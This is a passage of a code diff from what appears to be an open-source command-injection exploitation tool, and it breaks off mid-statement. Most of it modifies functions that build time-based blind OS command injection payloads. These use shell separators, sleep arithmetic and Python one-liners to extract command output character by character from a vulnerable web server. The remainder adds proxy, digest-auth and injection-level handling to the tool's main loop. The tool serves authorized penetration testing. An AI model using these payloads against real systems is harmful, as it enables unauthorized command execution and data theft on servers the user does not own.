payload = checks.append_custom_marker(payload, separator) return payload @@ -278,6 +303,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator in ("|", "||"): @@ -306,14 +332,12 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, pass else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a") : + if separator in (";", "%0a", "%0d%0a") : payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") @@ -325,18 +349,24 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - elif separator == "||" : + elif separator == "%26": + payload = (separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + + "[ " + str(j) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("|", "||"): pipe = "|" payload = (pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + - "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -344,8 +374,9 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, Get the execution output, of shell execution. """ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): - # Use bisection by default; validation re-probes the resolved value with equality. + payload = "" win_operator = "GEQ" if operator == "-le" else "EQU" + inverted_operator = "-gt" if operator == "-le" else "-ne" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -366,13 +397,12 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http else: pass else: - if separator in (";", "%0a") : + if separator in (";", "%0a", "%0d%0a") : + arith_operator = "<=" if operator == "-le" else "==" payload = (separator + # Use space as delimiter - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + settings.RANDOM_VAR_GENERATOR + ")))" ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") @@ -384,22 +414,22 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) - elif separator == "||" : + elif separator == "%26": + payload = (separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " $(awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + ") ]" + "&&" + + "sleep " + str(timesec) + ) + elif separator in ("|", "||"): pipe = "|" - # Keep the leading pipe syntax; run extraction pipe-free in a self-contained subshell. - qmarks = "?" * (num_of_chars - 1) payload = (pipe + - "[ " + str(ascii_char) + " -gt $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + ";" + - settings.RANDOM_VAR_GENERATOR + "=${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "};" + - settings.RANDOM_VAR_GENERATOR + "=${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"};" + - "printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\") ] " + separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + " $(printf '%d' \"'$(cut -c" + str(num_of_chars) + " " + OUTPUT_TEXTFILE + ")\") ]" + "||" + "sleep " + str(timesec) ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -407,8 +437,10 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http __Warning__: The alternative shells are still experimental. """ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): - # Same bisection comparison by default as get_char() - validation re-probes with an equality operator. + payload = "" win_operator = "GEQ" if operator == "-le" else "EQU" + inverted_operator = "-gt" if operator == "-le" else "-ne" + arith_operator = "<=" if operator == "-le" else "==" if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" if separator in ("|", "||"): @@ -432,12 +464,10 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c pass else: - if separator in (";", "%0a") : + if separator in (";", "%0a", "%0d%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") @@ -448,18 +478,22 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) - elif separator == "||" : + elif separator == "%26": + payload = (separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("|", "||"): pipe = "|" - # Inverted to -gt (like get_char()'s "||" branch): "||" only runs sleep when this test fails. payload = (pipe + - "[ " + str(ascii_char) + " -gt " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + "||" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -467,6 +501,7 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c Get the execution output, of shell execution. """ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -488,12 +523,10 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth pass else: - if separator in (";", "%0a") : + if separator in (";", "%0a", "%0d%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + "sleep $((" + str(timesec) + "*(" + str(ord(str(ascii_char))) + "==${" + settings.RANDOM_VAR_GENERATOR + "})))" ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") @@ -504,17 +537,22 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) - elif separator == "||" : + elif separator == "%26": + payload = (separator + + "[ " + str(ord(str(ascii_char))) + " -eq $(cut -c1-2 " + OUTPUT_TEXTFILE + ") ]" + "&&" + + "sleep " + str(timesec) + ) + elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + ") ] " + separator + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + ") ] " + "||" + "sleep " + str(timesec) ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -522,6 +560,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth __Warning__: The alternative shells are still experimental. """ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" if separator in ("|", "||"): @@ -543,12 +582,10 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ else: pass else: - if separator in (";", "%0a") : + if separator in (";", "%0a", "%0d%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") @@ -556,21 +593,26 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) - elif separator == "||" : + elif separator == "%26": + payload = (separator + + "[ " + str(ascii_char) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) -# eof \ No newline at end of file +# eof diff --git a/src/core/main.py b/src/core/main.py index ed2da119c6..2b4328350f 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -23,8 +23,6 @@ # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 from socket import error as SocketError -from os.path import splitext -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.utils import menu from src.utils import logs @@ -35,16 +33,14 @@ from src.utils import install from src.utils import crawler from src.utils import settings -from src.core.requests import parameters from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.colorama import init from src.core.testing import smoke_test from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests from src.core.requests import redirection -from src.core.requests import authentication from src.core.injections.controller import checks from src.core.injections.controller import parser from src.core.injections.controller import controller @@ -143,7 +139,6 @@ def examine_request(request, url): if settings.MULTI_TARGETS: settings.MAX_RETRIES = 1 try: - # Reuse check_http_traffic()'s own fetch instead of requesting twice. response = headers.check_http_traffic(request) if response is not None: return response @@ -203,7 +198,6 @@ def perform_init_request(url, http_request_method): return request def redirect_probe_request(url, http_request_method): - # Redirect detection doesn't need the (possibly slow) POST body. request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) return request @@ -229,10 +223,24 @@ def redirect_probe_request(url, http_request_method): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - opener = _urllib.request.build_opener(redirection.RedirectHandler()) + probe_handlers = [redirection.RedirectHandler()] + if menu.options.ignore_proxy: + probe_handlers.append(_urllib.request.ProxyHandler({})) + elif menu.options.proxy: + probe_handlers.append(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy})) + if menu.options.auth_cred and menu.options.auth_type and menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if settings.DIGEST_AUTH_REALM is None: + settings.DIGEST_AUTH_REALM = headers.discover_digest_realm(url) + digest_handler = _urllib.request.HTTPDigestAuthHandler() + username, _sep, password = menu.options.auth_cred.partition(":") + digest_handler.add_password(settings.DIGEST_AUTH_REALM, url, username, password) + probe_handlers.append(digest_handler) + opener = _urllib.request.build_opener(*probe_handlers) # Install globally so later bare urlopen() calls respect it too. _urllib.request.install_opener(opener) probe_request = redirect_probe_request(url, http_request_method) + if menu.options.proxy and not menu.options.tor and not menu.options.ignore_proxy: + probe_request.set_proxy(menu.options.proxy, settings.SCHEME) response = opener.open(probe_request, timeout=settings.TIMEOUT) if response.geturl() != url: redirect_url = response.geturl() @@ -245,7 +253,7 @@ def redirect_probe_request(url, http_request_method): requests.request_failed(err_msg) if redirect_url and redirect_url != url and settings.FOLLOW_REDIRECT: - redirect_url = redirection.do_check(probe_request, url, redirect_url, http_request_method) + redirect_url = redirection.do_check(url, redirect_url) if redirect_url is not None and settings.FOLLOW_REDIRECT: if _: url = redirect_url @@ -280,12 +288,10 @@ def url_response(url, http_request_method): # Set early so WAF detection can persist the finding. settings.TARGET_URL = _urllib.parse.urlparse(url).hostname settings.TARGET_NETLOC = _urllib.parse.urlparse(url).netloc - # Cache clean-request timing to avoid repeating the measurement, resetting it first to prevent stale values. settings.INIT_CONNECTION_TIME = None settings.INIT_CONNECTION_FETCH_TIME = None settings.INIT_CONNECTION_URL = None - # Piggyback the WAF probe on the same request to avoid an extra round-trip. conn_request, conn_url = request, url do_waf = not menu.options.skip_waf if do_waf: @@ -322,6 +328,13 @@ def init_injection(url): settings.SKIP_COMMAND_INJECTIONS = False # Reset injection checker and technique flags + settings.PENDING_FILE_CLEANUPS = {} + settings.CONFIRMED_INJECTION_POINTS = [] + settings.ASKED_KEEP_TESTING = False + settings.PENDING_POST_DETECTION_ACTIONS = [] + settings.OS_CMD_DONE = False + settings.PENDING_OS_SHELL_ENTRY = None + settings.LOGS_NOTIFICATION_SHOWN = False settings.INJECTION_CHECKER = False settings.CLASSIC_STATE = False settings.EVAL_BASED_STATE = False @@ -336,6 +349,7 @@ def init_injection(url): settings.SKIP_NON_CUSTOM_PARAMS = None settings.CUSTOM_INJECTION_MARKER = None settings.CUSTOM_FILENAME = "" + settings.CONFIRMED_BOUNDARY = {} # Reset web-root state settings.WEB_ROOT = "" @@ -343,14 +357,20 @@ def init_injection(url): settings.CUSTOM_WEB_ROOT = False if not settings.USER_APPLIED_WEB_ROOT: menu.options.web_root = False - + + # Discovered auth (not CLI-supplied) shouldn't carry over to the next target. + if not settings.USER_APPLIED_AUTH_CRED: + menu.options.auth_cred = None + if not settings.USER_APPLIED_AUTH_TYPE: + menu.options.auth_type = None + settings.REQUIRED_AUTHENTICATION = False + """ Validate and normalize a target line, returning the cleaned URL or None. """ def parse_target_line(line): match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) if match: - # Extract only the matched URL to avoid appending log prefixes or surrounding output. target = match.group(0) target = target.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() return target.rstrip() @@ -367,7 +387,6 @@ def stdin_parsing_target(os_checks_num): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.batch = True settings.MULTI_TARGETS = True - # Read stdin line-by-line as it arrives instead of relying on the iterator's read-ahead buffering. for url in iter(sys.stdin.readline, ""): target = parse_target_line(url) if target: @@ -396,6 +415,15 @@ def check_for_injected_url(url): _ = False return _ +""" +Ask whether to skip further tests against a host where an injection point was already found. +""" +def prompt_skip_vulnerable_host(target_url): + if settings.SKIP_VULNERABLE_HOST is None: + message = "An injection point has already been detected against '" + _urllib.parse.urlparse(target_url).netloc + "'. " + message += "Do you want to skip further tests involving it? [Y/n] " + common.prompt_yes_no_setting(message, "SKIP_VULNERABLE_HOST", default="Y") + """ Check if value is inside boundaries """ @@ -409,7 +437,6 @@ def check_value_inside_boundaries(url, http_request_method): """ def main(filename, url, http_request_method): try: - # Reset per-target state so file access isn't silently skipped for later targets. settings.FILE_ACCESS_DONE = False if menu.options.alert: @@ -434,7 +461,7 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.flush_session: - session_handler.flush(url) + session_handler.flush() url = check_value_inside_boundaries(url, http_request_method) @@ -450,34 +477,25 @@ def main(filename, url, http_request_method): if menu.options.level and settings.INJECTION_LEVEL >= settings.DEFAULT_INJECTION_LEVEL: settings.USER_APPLIED_LEVEL = settings.INJECTION_LEVEL + # -p naming a header/cookie needs a higher level than the default - bump it automatically. + if not menu.options.level and menu.options.test_parameter: + test_names = [p.split("=")[0].strip().lower() for p in menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)] + raw_headers = menu.options.headers or menu.options.header + custom_header_names = [h.split(":", 1)[0].strip().lower() for h in raw_headers.split(settings.END_LINE.ESCAPED_LF) if ":" in h] if raw_headers else [] + if any(name in ("user-agent", "referer", "host") for name in test_names) or any(name in custom_header_names for name in test_names): + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL + elif "cookie" in test_names: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = settings.COOKIE_INJECTION_LEVEL + if not settings.USER_APPLIED_LEVEL : settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = session_handler.applied_levels(url, http_request_method) # Define the level of tests to perform. - if settings.INJECTION_LEVEL == settings.DEFAULT_INJECTION_LEVEL: - settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) - settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) - settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) - settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) - settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) - settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index) - settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index) - elif settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: - settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) - settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) - settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) - settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) - settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) - settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index) - settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index) - elif settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: - settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) - settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) - settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) - settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) - settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) - settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL3), key=settings.EVAL_SEPARATORS_LVL3.index) - settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL3), key=settings.EXECUTION_FUNCTIONS_LVL3.index) + _level_suffix = {settings.DEFAULT_INJECTION_LEVEL: "LVL1", settings.COOKIE_INJECTION_LEVEL: "LVL2", settings.HTTP_HEADER_INJECTION_LEVEL: 